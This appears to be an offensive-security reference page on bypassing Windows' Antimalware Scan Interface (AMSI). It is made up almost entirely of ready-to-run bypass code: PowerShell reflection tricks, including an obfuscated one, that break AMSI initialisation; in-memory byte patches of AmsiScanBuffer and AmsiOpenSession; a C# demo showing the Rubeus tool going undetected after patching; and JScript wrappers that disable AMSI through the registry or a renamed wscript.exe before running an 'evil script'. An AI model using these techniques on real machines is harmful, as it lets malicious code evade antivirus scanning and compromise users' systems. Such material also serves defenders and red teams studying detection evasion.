Comment on page
AMSI Bypass
Antimalware Scan Interface
PS > Invoke-Expression "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"
amsiContext.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
amsiInitFailed.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}}
$f.SetValue($null,$true)
Obfuscated:
amsiInitFailed-obf.ps1
$A="5492868772801748688168747280728187173688878280688776";$B="8281173680867656877679866880867644817687416876797271";function C($n, $m){[string]($n..$m|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " "};$k=C 0 37;$r=C 38 51;$a=[Ref].Assembly.GetType($k);$a.GetField($r,'NonPublic,Static').SetValue($null,$true)
Re-implementing the method with reflective PowerShell:
amsiScanBuffer.ps1
function lookupFunc {
Param ($moduleName, $funcName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = @()
$assem.GetMethods() | % {If($_.Name -eq 'GetProcAddress') {$tmp += $_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $funcName))
}
function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$asb = lookupFunc amsi.dll ("Ams"+"iS"+"can"+"Buf"+"fer")
$oldProtect = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($asb, [uint32]6, 0x40, [ref]$oldProtect)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $asb, 6)
$vp.Invoke($asb, [uint32]6, 0x20, [ref]$oldProtect)
beforeAndAfterPatch.ps1
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace ConsoleApp
{
class Program
{
static IntPtr _amsiContext;
static IntPtr _amsiSession;
static void Main(string[] args)
{
uint result;
// Initialize the AMSI API.
result = AmsiInitialize("Demo App", out _amsiContext);
// Opens a session within which multiple scan requests can be correlated.
result = AmsiOpenSession(_amsiContext, out _amsiSession);
// Test sample
//var sample = Encoding.UTF8.GetBytes(@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
var sample = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
// Send sample to AMSI
var amsiResult = ScanBuffer(sample);
Console.WriteLine($"Before patch: {amsiResult}");
var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
foreach (ProcessModule module in modules)
{
if (module.ModuleName.Equals("amsi.dll"))
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// Make region writable (0x40 == PAGE_EXECUTE_READWRITE)
VirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
// Copy patch into asb region
Marshal.Copy(patch, 0, asb, patch.Length);
// Restore asb memory permissions
VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out uint _);
// Scan same sample again
amsiResult = ScanBuffer(sample); Console.WriteLine($"After patch: {amsiResult}");
}
static string ScanBuffer(byte[] sample)
{
var result = AmsiScanBuffer( _amsiContext, sample, (uint)sample.Length, "Demo Sample", ref _amsiSession, out uint amsiResult);
return amsiResult >= 32768 ? "AMSI_RESULT_DETECTED" : "AMSI_RESULT_NOT_DETECTED";
}
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
// The antimalware provider may return a result between 1 and 32767, inclusive, as an estimated risk level.
// The larger the result, the riskier it is to continue with the content.
// Any return result equal to or larger than 32768 is considered malware, and the content should be blocked.
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, ref IntPtr amsiSession, out uint scanResult);
}
}
amsiOpenSession.ps1
function lookupFunc {
Param ($moduleName, $funcName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = @()
$assem.GetMethods() | % {If($_.Name -eq "GetProcAddress") {$tmp += $_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $funcName))
}
function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$funcAddr = lookupFunc amsi.dll AmsiOpenSession
$oldProtection = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],[UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtection)
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtection)
$providers = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name
foreach ($p in $providers) { Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$p\InprocServer32" }
Set the
HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable
registry key to 0
and run the evil script:regkey.js
var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
var AmsiEnable = sh.RegRead(key);
if (AmsiEnable != 0) {
throw new Error(1, '');
}
} catch(e) {
sh.RegWrite(key, 0, "REG_DWORD");
sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}" + WScript.ScriptFullName, 0, 1);
sh.RegWrite(key, 1, "REG_DWORD");
WScript.Quit(1);
}
<EVIL_SCRIPT_CONTENTS>
...
Copy
C:\Windows\System32\wscript.exe
binary to a different location and rename in to AMSI.dll
in order to prevent loading the real AMSI.dll
:rename.js
var filesys= new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject('WScript.Shell');
try {
if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll") == 0) {
throw new Error(1, '');
}
} catch(e) {
filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll");
sh.Exec("C:\\Windows\\Tasks\\AMSI.dll -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScript.ScriptFullName);
WScript.Quit(1);
}
<EVIL_SCRIPT_CONTENTS>
...
Last modified 2mo ago